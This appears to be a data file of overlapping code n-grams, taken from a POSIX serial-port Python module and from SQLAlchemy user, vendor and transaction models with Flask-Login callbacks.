poll.poll(self._timeout*1000): if event &\",\n \"0o000001, 75: 0o000002, 110: 0o000003, 134: 0o000004, 150: 0o000005, 200: 0o000006, 300: 0o000007,\",\n \"else: fcntl.ioctl(self.fd, TIOCCBRK) def setRTS(self, level=1): \\\"\\\"\\\"Set terminal status line: Request To Send\\\"\\\"\\\"\",\n \"custom_baud is not None: set_special_baudrate(self, custom_baud) def close(self): \\\"\\\"\\\"Close port\\\"\\\"\\\" if self._isOpen: if\",\n \"bits timeout=3, # set a timeout value, None for waiting forever xonxoff=0, #\",\n \"None: os.close(self.fd) self.fd = None self._isOpen = False def makeDeviceName(self, port): return device(port)\",\n \"pass class PosixPollSerial(Serial): \\\"\\\"\\\"poll based read implementation. not all systems support poll properly.\",\n \"and TERMIOS.TIOCMBIS or 0x5416 TIOCMBIC = hasattr(TERMIOS, 'TIOCMBIC') and TERMIOS.TIOCMBIC or 0x5417 TIOCMSET\",\n \"fcntl.ioctl(self.fd, TIOCCBRK) def setRTS(self, level=1): \\\"\\\"\\\"Set terminal status line: Request To Send\\\"\\\"\\\" if\",\n \"with a timeout, and the timeout occurs, it # returns with empty lists\",\n \"return struct.unpack('I',s)[0] & TIOCM_DSR != 0 def getRI(self): \\\"\\\"\\\"Read terminal status line: Ring\",\n \"custom baud rate, it isn't in our list. ispeed = ospeed = getattr(TERMIOS,\",\n \"on this system. ! Use an explicit path (eg /dev/ttyS1) or send this\",\n \"raise ValueError('Invalid stop bit specification: %r' % self._stopbits) # setup parity iflag &=\",\n \"buf[4] &= ~ASYNC_SPD_MASK buf[4] |= ASYNC_SPD_CUST # set serial_struct try: res = FCNTL.ioctl(port.fd,\",\n \"os.O_NONBLOCK) def fileno(self): \\\"\\\"\\\"For easier use of the serial port instance with select.\",\n \"return some data as select reported it was # ready to read when\",\n \"name is not correct for the platform it has chances # to work\",\n \"= None vmin = vtime = 0 # timeout is done via select\",\n \"set up raw mode / no echo / binary cflag |= (TERMIOS.CLOCAL|TERMIOS.CREAD) lflag\",\n \"\\\"\\\"\\\"Set communication parameters on opened port.\\\"\\\"\\\" if self.fd is None: raise SerialException(\\\"Can only\",\n \"None while t > 0: try: n = os.write(self.fd, d) if timeout: #\",\n \"'TIOCM_CAR') and TERMIOS.TIOCM_CAR or 0x040 TIOCM_RNG = hasattr(TERMIOS, 'TIOCM_RNG') and TERMIOS.TIOCM_RNG or 0x080\",\n \"below buf = os.read(self.fd, size - len(read)) read.extend(buf) if ((self._timeout is not None\",\n \"raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCIFLUSH) def flushOutput(self): \\\"\\\"\\\"Clear output buffer, aborting the current output\",\n \"time left as timeout timeleft = timeout - time.time() if timeleft < 0:\",\n \"non standard baud rate on this platform\\\") baudrate_constants = {} #~ raise Exception,\",\n \"any if custom_baud is not None: set_special_baudrate(self, custom_baud) def close(self): \\\"\\\"\\\"Close port\\\"\\\"\\\" if\",\n \"for flag in ('ECHOCTL', 'ECHOKE'): # netbsd workaround for Erk if hasattr(TERMIOS, flag):\",\n \"try: self.fd = os.open(self.portstr, os.O_RDWR|os.O_NOCTTY|os.O_NONBLOCK) except Exception as msg: self.fd = None raise\",\n \"poll.poll(self._timeout*1000): if event & (select.POLLERR|select.POLLHUP|select.POLLNVAL): raise SerialException('device reports error (poll)') # we don't\",\n \"work on many systems def read(self, size=1): \\\"\\\"\\\"Read size bytes from the serial\",\n \"SerialException(\\\"Could not configure port: %s\\\" % msg) # set up raw mode /\",\n \"makeDeviceName(self, port): return device(port) # - - - - - - - -\",\n \"characters currently in the input buffer.\\\"\\\"\\\" #~ s = fcntl.ioctl(self.fd, TERMIOS.FIONREAD, TIOCM_zero_str) s\",\n \"= bytearray() while len(read) < size: ready,_,_ = select.select([self.fd],[],[], self._timeout) # If select\",\n \"[iflag, oflag, cflag, lflag, ispeed, ospeed, cc]) # apply custom baud rate, if\",\n \"set a timeout value, None for waiting forever xonxoff=0, # enable software flow\",\n \"# set up raw mode / no echo / binary cflag |= (TERMIOS.CLOCAL|TERMIOS.CREAD)\",\n \"0x80045402 #_IOW('T', 2, speed_t) fcntl.ioctl(port.fd, IOSSIOSPEED, buf, 1) else: # version < 8\",\n \"FCNTL.ioctl(port.fd, TERMIOS.TIOCSSERIAL, buf) except IOError: raise ValueError('Failed to set custom baud rate: %r'\",\n \"and TERMIOS.TIOCM_RI or TIOCM_RNG #TIOCM_OUT1 = hasattr(TERMIOS, 'TIOCM_OUT1') and TERMIOS.TIOCM_OUT1 or 0x2000 #TIOCM_OUT2\",\n \"# vmin \\\"minimal number of characters to be read. = for non blocking\\\"\",\n \"used.\\\") # open try: self.fd = os.open(self.portstr, os.O_RDWR|os.O_NOCTTY|os.O_NONBLOCK) except Exception as msg: self.fd\",\n \"the current output and discarding all that is in the buffer.\\\"\\\"\\\" if self.fd\",\n \"ValueError('Invalid char len: %r' % self._bytesize) # setup stopbits if self._stopbits == STOPBITS_ONE:\",\n \"ValueError(\\\"baud rate not supported\\\") def device(port): return '/dev/cuad%d' % port baudrate_constants = {}\",\n \"this platform\\\") baudrate_constants = {} elif plat[:5] == 'sunos': # Solaris/SunOS (confirmed) def\",\n \"http://www.easysw.com/~mike/serial/serial.html import sys, os, fcntl, termios, struct, select, errno, time from .serialutil import\",\n \"custom divisor buf[6] = buf[7] / baudrate # update flags buf[4] &= ~ASYNC_SPD_MASK\",\n \"Tiger or above can support arbitrary serial speeds if int(version[0]) >= 8: def\",\n \"#~ s = fcntl.ioctl(self.fd, TERMIOS.FIONREAD, TIOCM_zero_str) s = fcntl.ioctl(self.fd, TIOCINQ, TIOCM_zero_str) return struct.unpack('I',s)[0]\",\n \"are always ready to read immediately # but reading returns nothing. raise SerialException('device\",\n \"on timeout return bytes(read) if __name__ == '__main__': s = Serial(0, baudrate=19200, #\",\n \"selected... # this code block should supply a device() and set_special_baudrate() function #\",\n \"TIOCM_DSR = hasattr(TERMIOS, 'TIOCM_DSR') and TERMIOS.TIOCM_DSR or 0x100 TIOCM_CD = hasattr(TERMIOS, 'TIOCM_CD') and\",\n \"set_special_baudrate(self, custom_baud) def close(self): \\\"\\\"\\\"Close port\\\"\\\"\\\" if self._isOpen: if self.fd is not None:\",\n \"left as timeout timeleft = timeout - time.time() if timeleft < 0: raise\",\n \"TIOCM_DTR_str) else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_DTR_str) def getCTS(self): \\\"\\\"\\\"Read terminal status line: Clear To\",\n \"Un*x like systems.\\\"\\\"\\\" def open(self): \\\"\\\"\\\"Open port with current settings. This may throw\",\n \"0o010017 } elif plat == 'cygwin': # cygwin/win32 (confirmed) def device(port): return '/dev/com%d'\",\n \"license.txt # # parts based on code from <NAME> <<EMAIL>>: # ftp://ftp.visi.com/users/grante/python/PosixSerial.py #\",\n \"the platform it has chances # to work using a string with the\",\n \"poll properly. however this one has better handling of errors, such as a\",\n \"= sys.platform.lower() if plat[:5] == 'linux': # Linux (confirmed) def device(port): return '/dev/ttyS%d'\",\n \"plat[:2] == 'hp': # HP-UX (not tested) def device(port): return '/dev/tty%dp0' % (port+1)\",\n \"= termios.tcgetattr(self.fd) except termios.error as msg: # if a port is nonexistent but\",\n \"hasattr(TERMIOS, 'TIOCM_CAR') and TERMIOS.TIOCM_CAR or 0x040 TIOCM_RNG = hasattr(TERMIOS, 'TIOCM_RNG') and TERMIOS.TIOCM_RNG or\",\n \"add the device name of the serial port and where the counting starts\",\n \"PosixPollSerial(Serial): \\\"\\\"\\\"poll based read implementation. not all systems support poll properly. however this\",\n \"read immediately # but reading returns nothing. raise SerialException('device reports readiness to read\",\n \"= Serial(0, baudrate=19200, # baud rate bytesize=EIGHTBITS, # number of data bits parity=PARITY_EVEN,\",\n \"level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_RTS_str) else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_RTS_str) def setDTR(self, level=1): \\\"\\\"\\\"Set terminal\",\n \"present class Serial(PosixSerial, io.RawIOBase): pass class PosixPollSerial(Serial): \\\"\\\"\\\"poll based read implementation. not all\",\n \"msg)) #~ fcntl.fcntl(self.fd, FCNTL.F_SETFL, 0) # set blocking try: self._reconfigurePort() except: try: os.close(self.fd)\",\n \"'TIOCSBRK') and TERMIOS.TIOCSBRK or 0x5427 TIOCCBRK = hasattr(TERMIOS, 'TIOCCBRK') and TERMIOS.TIOCCBRK or 0x5428\",\n \"have moved. if (sys.hexversion < 0x020100f0): import TERMIOS else: TERMIOS = termios if\",\n \"to build a device name # even if the device name is not\",\n \"'/dev/com%d' % (port + 1) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how\",\n \"TIOCM_CTS != 0 def getDSR(self): \\\"\\\"\\\"Read terminal status line: Data Set Ready\\\"\\\"\\\" if\",\n \"~(TERMIOS.INPCK|TERMIOS.ISTRIP) if self._parity == PARITY_NONE: cflag &= ~(TERMIOS.PARENB|TERMIOS.PARODD) elif self._parity == PARITY_EVEN: cflag\",\n \"bytes is read.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError read = bytearray() poll\",\n \"the device name is not correct for the platform it has chances #\",\n \"is set it may return less characters as requested. With no timeout it\",\n \"d = d[n:] t = t - n except OSError as v: if\",\n \"implementation, proved to work on many systems def read(self, size=1): \\\"\\\"\\\"Read size bytes\"\n]","isConversational":false}}},{"rowIdx":1889,"cells":{"ngram":{"kind":"list like","value":["<reponame>electricimp/examples import datetime from database import Base from sqlalchemy import Column, String, Integer,","\"\"\" return False def is_active(self): \"\"\" Callback for Flask-Login. Default to True -","ID of a given user object. It is unicoded as per specification. Returns:","first_name = Column(String(255)) last_name = Column(String(255)) email = Column(String(255), index=True, unique=True) password =","Represents that unique ID of a given user object. It is unicoded as","as per specification. Returns: the unique ID of an object \"\"\" return unicode(self.id)","True unless the object represents a user should not be authenticated. Returns: True","= Column(Integer, primary_key=True) user_id = Column(Integer, ForeignKey('users.id')) company = Column(Integer, ForeignKey('vendors.id')) amount =","Column, String, Integer, ForeignKey, DateTime, Float class User(Base): __tablename__ = 'users' id =","= Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) class Transaction(Base): __tablename__ = 'transactions' id =","status = Column(Integer, default=0) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) class Transaction(Base):","last_name = Column(String(255)) email = Column(String(255), index=True, unique=True) password = Column(String(255)) def get_id(self):","Column(DateTime, nullable=False, default=datetime.datetime.now()) class Vendor(Base): __tablename__ = 'vendors' id = Column(Integer, primary_key=True) name","= Column(String(255)) def get_id(self): \"\"\" Callback for Flask-Login. Represents that unique ID of","True \"\"\" return True def is_authenticated(self): \"\"\" Callback for Flask-Login. Should return True","= Column(Integer, ForeignKey('users.id')) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) timestamp = Column(DateTime,","Returns: True \"\"\" return True def is_authenticated(self): \"\"\" Callback for Flask-Login. Should return","Should return True unless the object represents a user should not be authenticated.","should not be authenticated. Returns: True because all objects should be authenticated \"\"\"","= Column(Float) class Transaction(Base): __tablename__ = 'transactions' id = Column(Integer, primary_key=True) user_id =","def get_id(self): \"\"\" Callback for Flask-Login. Represents that unique ID of a given","any anonymous users. Returns: False \"\"\" return False def is_active(self): \"\"\" Callback for","= Column(Integer, ForeignKey('users.id')) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) # Status: 0 - default,","Flask-Login. Represents that unique ID of a given user object. It is unicoded","Integer, ForeignKey, DateTime, Float class User(Base): __tablename__ = 'users' id = Column(Integer, primary_key=True)","timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) # Status: 0 - default, 1 - scanned,","Column(Integer, primary_key=True) user_id = Column(Integer, ForeignKey('users.id')) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float)","\"\"\" return True def is_authenticated(self): \"\"\" Callback for Flask-Login. Should return True unless","return unicode(self.id) def is_anonymous(self): \"\"\" Callback for Flask-Login. Default to False - we","Column(Integer, primary_key=True) barcode = Column(String(10)) user_id = Column(Integer, ForeignKey('users.id')) timestamp = Column(DateTime, nullable=False,","company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) class Transaction(Base): __tablename__ = 'transactions' id","is_active(self): \"\"\" Callback for Flask-Login. Default to True - we don't deal with","should be authenticated \"\"\" return True class PendingTransaction(Base): __tablename__ = 'pending_transactions' id =","for Flask-Login. Default to True - we don't deal with non-active users. Returns:","user should not be authenticated. Returns: True because all objects should be authenticated","True class PendingTransaction(Base): __tablename__ = 'pending_transactions' id = Column(Integer, primary_key=True) barcode = Column(String(10))","Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) class Transaction(Base): __tablename__ = 'transactions' id = Column(Integer,","is_authenticated(self): \"\"\" Callback for Flask-Login. Should return True unless the object represents a","unique ID of a given user object. It is unicoded as per specification.","True because all objects should be authenticated \"\"\" return True class PendingTransaction(Base): __tablename__","- we don't deal with non-active users. Returns: True \"\"\" return True def","claimed status = Column(Integer, default=0) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) class","ForeignKey('users.id')) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now())","import datetime from database import Base from sqlalchemy import Column, String, Integer, ForeignKey,","we don't deal with non-active users. Returns: True \"\"\" return True def is_authenticated(self):","def is_anonymous(self): \"\"\" Callback for Flask-Login. Default to False - we don't deal","# Status: 0 - default, 1 - scanned, 2 - claimed status =","- default, 1 - scanned, 2 - claimed status = Column(Integer, default=0) company","False - we don't deal with any anonymous users. Returns: False \"\"\" return","datetime from database import Base from sqlalchemy import Column, String, Integer, ForeignKey, DateTime,","import Column, String, Integer, ForeignKey, DateTime, Float class User(Base): __tablename__ = 'users' id","not be authenticated. Returns: True because all objects should be authenticated \"\"\" return","ForeignKey('users.id')) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) # Status: 0 - default, 1 -","= 'transactions' id = Column(Integer, primary_key=True) user_id = Column(Integer, ForeignKey('users.id')) company = Column(Integer,","a given user object. It is unicoded as per specification. Returns: the unique","ForeignKey, DateTime, Float class User(Base): __tablename__ = 'users' id = Column(Integer, primary_key=True) first_name","class User(Base): __tablename__ = 'users' id = Column(Integer, primary_key=True) first_name = Column(String(255)) last_name","object \"\"\" return unicode(self.id) def is_anonymous(self): \"\"\" Callback for Flask-Login. Default to False","= Column(DateTime, nullable=False, default=datetime.datetime.now()) class Vendor(Base): __tablename__ = 'vendors' id = Column(Integer, primary_key=True)","= Column(Integer, default=0) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) class Transaction(Base): __tablename__","True - we don't deal with non-active users. Returns: True \"\"\" return True","- we don't deal with any anonymous users. Returns: False \"\"\" return False","a user should not be authenticated. Returns: True because all objects should be","Returns: True because all objects should be authenticated \"\"\" return True class PendingTransaction(Base):","__tablename__ = 'transactions' id = Column(Integer, primary_key=True) user_id = Column(Integer, ForeignKey('users.id')) company =","users. Returns: False \"\"\" return False def is_active(self): \"\"\" Callback for Flask-Login. Default","unique ID of an object \"\"\" return unicode(self.id) def is_anonymous(self): \"\"\" Callback for","don't deal with any anonymous users. Returns: False \"\"\" return False def is_active(self):","import Base from sqlalchemy import Column, String, Integer, ForeignKey, DateTime, Float class User(Base):","the object represents a user should not be authenticated. Returns: True because all","= Column(String(10)) user_id = Column(Integer, ForeignKey('users.id')) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) # Status:","is_anonymous(self): \"\"\" Callback for Flask-Login. Default to False - we don't deal with","because all objects should be authenticated \"\"\" return True class PendingTransaction(Base): __tablename__ =","Column(Integer, default=0) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) class Transaction(Base): __tablename__ =","= Column(Float) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) class Vendor(Base): __tablename__ = 'vendors' id","for Flask-Login. Default to False - we don't deal with any anonymous users.","Flask-Login. Default to False - we don't deal with any anonymous users. Returns:","amount = Column(Float) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) class Vendor(Base): __tablename__ = 'vendors'","timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) class Vendor(Base): __tablename__ = 'vendors' id = Column(Integer,","all objects should be authenticated \"\"\" return True class PendingTransaction(Base): __tablename__ = 'pending_transactions'","company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) class","Column(Integer, primary_key=True) first_name = Column(String(255)) last_name = Column(String(255)) email = Column(String(255), index=True, unique=True)","User(Base): __tablename__ = 'users' id = Column(Integer, primary_key=True) first_name = Column(String(255)) last_name =","an object \"\"\" return unicode(self.id) def is_anonymous(self): \"\"\" Callback for Flask-Login. Default to","anonymous users. Returns: False \"\"\" return False def is_active(self): \"\"\" Callback for Flask-Login.","with any anonymous users. Returns: False \"\"\" return False def is_active(self): \"\"\" Callback","DateTime, Float class User(Base): __tablename__ = 'users' id = Column(Integer, primary_key=True) first_name =","authenticated \"\"\" return True class PendingTransaction(Base): __tablename__ = 'pending_transactions' id = Column(Integer, primary_key=True)","get_id(self): \"\"\" Callback for Flask-Login. Represents that unique ID of a given user","id = Column(Integer, primary_key=True) first_name = Column(String(255)) last_name = Column(String(255)) email = Column(String(255),","database import Base from sqlalchemy import Column, String, Integer, ForeignKey, DateTime, Float class","id = Column(Integer, primary_key=True) name = Column(String(255)) agent_url = Column(String(255)) secret = Column(String(255))","Callback for Flask-Login. Default to True - we don't deal with non-active users.","2 - claimed status = Column(Integer, default=0) company = Column(Integer, ForeignKey('vendors.id')) amount =","object. It is unicoded as per specification. Returns: the unique ID of an","= Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) class Vendor(Base):","don't deal with non-active users. Returns: True \"\"\" return True def is_authenticated(self): \"\"\"","1 - scanned, 2 - claimed status = Column(Integer, default=0) company = Column(Integer,","\"\"\" return unicode(self.id) def is_anonymous(self): \"\"\" Callback for Flask-Login. Default to False -","class Vendor(Base): __tablename__ = 'vendors' id = Column(Integer, primary_key=True) name = Column(String(255)) agent_url","= Column(Integer, primary_key=True) barcode = Column(String(10)) user_id = Column(Integer, ForeignKey('users.id')) timestamp = Column(DateTime,","amount = Column(Float) class Transaction(Base): __tablename__ = 'transactions' id = Column(Integer, primary_key=True) user_id","= 'vendors' id = Column(Integer, primary_key=True) name = Column(String(255)) agent_url = Column(String(255)) secret","return False def is_active(self): \"\"\" Callback for Flask-Login. Default to True - we","primary_key=True) user_id = Column(Integer, ForeignKey('users.id')) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) timestamp","Column(Float) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) class Vendor(Base): __tablename__ = 'vendors' id =","- claimed status = Column(Integer, default=0) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float)","0 - default, 1 - scanned, 2 - claimed status = Column(Integer, default=0)","Default to True - we don't deal with non-active users. Returns: True \"\"\"","nullable=False, default=datetime.datetime.now()) class Vendor(Base): __tablename__ = 'vendors' id = Column(Integer, primary_key=True) name =","password = Column(String(255)) def get_id(self): \"\"\" Callback for Flask-Login. Represents that unique ID","nullable=False, default=datetime.datetime.now()) # Status: 0 - default, 1 - scanned, 2 - claimed","Column(String(255)) email = Column(String(255), index=True, unique=True) password = Column(String(255)) def get_id(self): \"\"\" Callback","default=datetime.datetime.now()) class Vendor(Base): __tablename__ = 'vendors' id = Column(Integer, primary_key=True) name = Column(String(255))","primary_key=True) barcode = Column(String(10)) user_id = Column(Integer, ForeignKey('users.id')) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now())","be authenticated \"\"\" return True class PendingTransaction(Base): __tablename__ = 'pending_transactions' id = Column(Integer,","ForeignKey('vendors.id')) amount = Column(Float) class Transaction(Base): __tablename__ = 'transactions' id = Column(Integer, primary_key=True)","users. Returns: True \"\"\" return True def is_authenticated(self): \"\"\" Callback for Flask-Login. Should","deal with non-active users. Returns: True \"\"\" return True def is_authenticated(self): \"\"\" Callback","PendingTransaction(Base): __tablename__ = 'pending_transactions' id = Column(Integer, primary_key=True) barcode = Column(String(10)) user_id =","Column(String(10)) user_id = Column(Integer, ForeignKey('users.id')) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) # Status: 0","Returns: the unique ID of an object \"\"\" return unicode(self.id) def is_anonymous(self): \"\"\"","unique=True) password = Column(String(255)) def get_id(self): \"\"\" Callback for Flask-Login. Represents that unique","unicode(self.id) def is_anonymous(self): \"\"\" Callback for Flask-Login. Default to False - we don't","\"\"\" return True class PendingTransaction(Base): __tablename__ = 'pending_transactions' id = Column(Integer, primary_key=True) barcode","Column(DateTime, nullable=False, default=datetime.datetime.now()) # Status: 0 - default, 1 - scanned, 2 -","Column(Integer, ForeignKey('users.id')) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) # Status: 0 - default, 1","= Column(Integer, primary_key=True) first_name = Column(String(255)) last_name = Column(String(255)) email = Column(String(255), index=True,","Column(Float) class Transaction(Base): __tablename__ = 'transactions' id = Column(Integer, primary_key=True) user_id = Column(Integer,","= Column(String(255), index=True, unique=True) password = Column(String(255)) def get_id(self): \"\"\" Callback for Flask-Login.","unless the object represents a user should not be authenticated. Returns: True because","return True def is_authenticated(self): \"\"\" Callback for Flask-Login. Should return True unless the","return True unless the object represents a user should not be authenticated. Returns:","objects should be authenticated \"\"\" return True class PendingTransaction(Base): __tablename__ = 'pending_transactions' id","id = Column(Integer, primary_key=True) user_id = Column(Integer, ForeignKey('users.id')) company = Column(Integer, ForeignKey('vendors.id')) amount","Column(String(255)) def get_id(self): \"\"\" Callback for Flask-Login. Represents that unique ID of a","__tablename__ = 'pending_transactions' id = Column(Integer, primary_key=True) barcode = Column(String(10)) user_id = Column(Integer,","index=True, unique=True) password = Column(String(255)) def get_id(self): \"\"\" Callback for Flask-Login. Represents that","Flask-Login. Default to True - we don't deal with non-active users. Returns: True","for Flask-Login. Represents that unique ID of a given user object. It is","def is_active(self): \"\"\" Callback for Flask-Login. Default to True - we don't deal","True def is_authenticated(self): \"\"\" Callback for Flask-Login. Should return True unless the object","default=datetime.datetime.now()) # Status: 0 - default, 1 - scanned, 2 - claimed status","non-active users. Returns: True \"\"\" return True def is_authenticated(self): \"\"\" Callback for Flask-Login.","= Column(String(255)) last_name = Column(String(255)) email = Column(String(255), index=True, unique=True) password = Column(String(255))","represents a user should not be authenticated. Returns: True because all objects should","from database import Base from sqlalchemy import Column, String, Integer, ForeignKey, DateTime, Float","from sqlalchemy import Column, String, Integer, ForeignKey, DateTime, Float class User(Base): __tablename__ =","primary_key=True) first_name = Column(String(255)) last_name = Column(String(255)) email = Column(String(255), index=True, unique=True) password","object represents a user should not be authenticated. Returns: True because all objects","be authenticated. Returns: True because all objects should be authenticated \"\"\" return True","ForeignKey('vendors.id')) amount = Column(Float) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) class Vendor(Base): __tablename__ =","that unique ID of a given user object. It is unicoded as per","Column(String(255)) last_name = Column(String(255)) email = Column(String(255), index=True, unique=True) password = Column(String(255)) def","\"\"\" Callback for Flask-Login. Default to True - we don't deal with non-active","Vendor(Base): __tablename__ = 'vendors' id = Column(Integer, primary_key=True) name = Column(String(255)) agent_url =","Transaction(Base): __tablename__ = 'transactions' id = Column(Integer, primary_key=True) user_id = Column(Integer, ForeignKey('users.id')) company","authenticated. Returns: True because all objects should be authenticated \"\"\" return True class","per specification. Returns: the unique ID of an object \"\"\" return unicode(self.id) def","is unicoded as per specification. Returns: the unique ID of an object \"\"\"","default, 1 - scanned, 2 - claimed status = Column(Integer, default=0) company =","def is_authenticated(self): \"\"\" Callback for Flask-Login. Should return True unless the object represents","- scanned, 2 - claimed status = Column(Integer, default=0) company = Column(Integer, ForeignKey('vendors.id'))","Column(String(255), index=True, unique=True) password = Column(String(255)) def get_id(self): \"\"\" Callback for Flask-Login. Represents","of a given user object. It is unicoded as per specification. Returns: the","String, Integer, ForeignKey, DateTime, Float class User(Base): __tablename__ = 'users' id = Column(Integer,","= 'users' id = Column(Integer, primary_key=True) first_name = Column(String(255)) last_name = Column(String(255)) email","user object. It is unicoded as per specification. Returns: the unique ID of","scanned, 2 - claimed status = Column(Integer, default=0) company = Column(Integer, ForeignKey('vendors.id')) amount","email = Column(String(255), index=True, unique=True) password = Column(String(255)) def get_id(self): \"\"\" Callback for","class PendingTransaction(Base): __tablename__ = 'pending_transactions' id = Column(Integer, primary_key=True) barcode = Column(String(10)) user_id","False def is_active(self): \"\"\" Callback for Flask-Login. Default to True - we don't","with non-active users. Returns: True \"\"\" return True def is_authenticated(self): \"\"\" Callback for","return True class PendingTransaction(Base): __tablename__ = 'pending_transactions' id = Column(Integer, primary_key=True) barcode =","we don't deal with any anonymous users. Returns: False \"\"\" return False def","Status: 0 - default, 1 - scanned, 2 - claimed status = Column(Integer,","Returns: False \"\"\" return False def is_active(self): \"\"\" Callback for Flask-Login. Default to","given user object. It is unicoded as per specification. Returns: the unique ID","class Transaction(Base): __tablename__ = 'transactions' id = Column(Integer, primary_key=True) user_id = Column(Integer, ForeignKey('users.id'))","False \"\"\" return False def is_active(self): \"\"\" Callback for Flask-Login. Default to True","'users' id = Column(Integer, primary_key=True) first_name = Column(String(255)) last_name = Column(String(255)) email =","specification. Returns: the unique ID of an object \"\"\" return unicode(self.id) def is_anonymous(self):","__tablename__ = 'users' id = Column(Integer, primary_key=True) first_name = Column(String(255)) last_name = Column(String(255))","of an object \"\"\" return unicode(self.id) def is_anonymous(self): \"\"\" Callback for Flask-Login. Default","Callback for Flask-Login. Should return True unless the object represents a user should","= Column(String(255)) email = Column(String(255), index=True, unique=True) password = Column(String(255)) def get_id(self): \"\"\"","to True - we don't deal with non-active users. Returns: True \"\"\" return","Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) class Vendor(Base): __tablename__","to False - we don't deal with any anonymous users. Returns: False \"\"\"","Flask-Login. Should return True unless the object represents a user should not be","deal with any anonymous users. Returns: False \"\"\" return False def is_active(self): \"\"\"","'vendors' id = Column(Integer, primary_key=True) name = Column(String(255)) agent_url = Column(String(255)) secret =","It is unicoded as per specification. Returns: the unique ID of an object","ID of an object \"\"\" return unicode(self.id) def is_anonymous(self): \"\"\" Callback for Flask-Login.","id = Column(Integer, primary_key=True) barcode = Column(String(10)) user_id = Column(Integer, ForeignKey('users.id')) timestamp =","Column(Integer, ForeignKey('users.id')) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) timestamp = Column(DateTime, nullable=False,","barcode = Column(String(10)) user_id = Column(Integer, ForeignKey('users.id')) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) #","\"\"\" Callback for Flask-Login. Represents that unique ID of a given user object.","= 'pending_transactions' id = Column(Integer, primary_key=True) barcode = Column(String(10)) user_id = Column(Integer, ForeignKey('users.id'))","unicoded as per specification. Returns: the unique ID of an object \"\"\" return","\"\"\" Callback for Flask-Login. Default to False - we don't deal with any","__tablename__ = 'vendors' id = Column(Integer, primary_key=True) name = Column(String(255)) agent_url = Column(String(255))","'pending_transactions' id = Column(Integer, primary_key=True) barcode = Column(String(10)) user_id = Column(Integer, ForeignKey('users.id')) timestamp","user_id = Column(Integer, ForeignKey('users.id')) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) timestamp =","Callback for Flask-Login. Default to False - we don't deal with any anonymous","sqlalchemy import Column, String, Integer, ForeignKey, DateTime, Float class User(Base): __tablename__ = 'users'","user_id = Column(Integer, ForeignKey('users.id')) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) # Status: 0 -","for Flask-Login. Should return True unless the object represents a user should not","Callback for Flask-Login. Represents that unique ID of a given user object. It","the unique ID of an object \"\"\" return unicode(self.id) def is_anonymous(self): \"\"\" Callback","Base from sqlalchemy import Column, String, Integer, ForeignKey, DateTime, Float class User(Base): __tablename__","'transactions' id = Column(Integer, primary_key=True) user_id = Column(Integer, ForeignKey('users.id')) company = Column(Integer, ForeignKey('vendors.id'))","default=0) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) class Transaction(Base): __tablename__ = 'transactions'","Default to False - we don't deal with any anonymous users. Returns: False","\"\"\" Callback for Flask-Login. Should return True unless the object represents a user","= Column(DateTime, nullable=False, default=datetime.datetime.now()) # Status: 0 - default, 1 - scanned, 2","Float class User(Base): __tablename__ = 'users' id = Column(Integer, primary_key=True) first_name = Column(String(255))"],"string":"[\n \"<reponame>electricimp/examples import datetime from database import Base from sqlalchemy import Column, String, Integer,\",\n \"\\\"\\\"\\\" return False def is_active(self): \\\"\\\"\\\" Callback for Flask-Login. Default to True -\",\n \"ID of a given user object. It is unicoded as per specification. Returns:\",\n \"first_name = Column(String(255)) last_name = Column(String(255)) email = Column(String(255), index=True, unique=True) password =\",\n \"Represents that unique ID of a given user object. It is unicoded as\",\n \"as per specification. Returns: the unique ID of an object \\\"\\\"\\\" return unicode(self.id)\",\n \"True unless the object represents a user should not be authenticated. Returns: True\",\n \"= Column(Integer, primary_key=True) user_id = Column(Integer, ForeignKey('users.id')) company = Column(Integer, ForeignKey('vendors.id')) amount =\",\n \"Column, String, Integer, ForeignKey, DateTime, Float class User(Base): __tablename__ = 'users' id =\",\n \"= Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) class Transaction(Base): __tablename__ = 'transactions' id =\",\n \"status = Column(Integer, default=0) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) class Transaction(Base):\",\n \"last_name = Column(String(255)) email = Column(String(255), index=True, unique=True) password = Column(String(255)) def get_id(self):\",\n \"Column(DateTime, nullable=False, 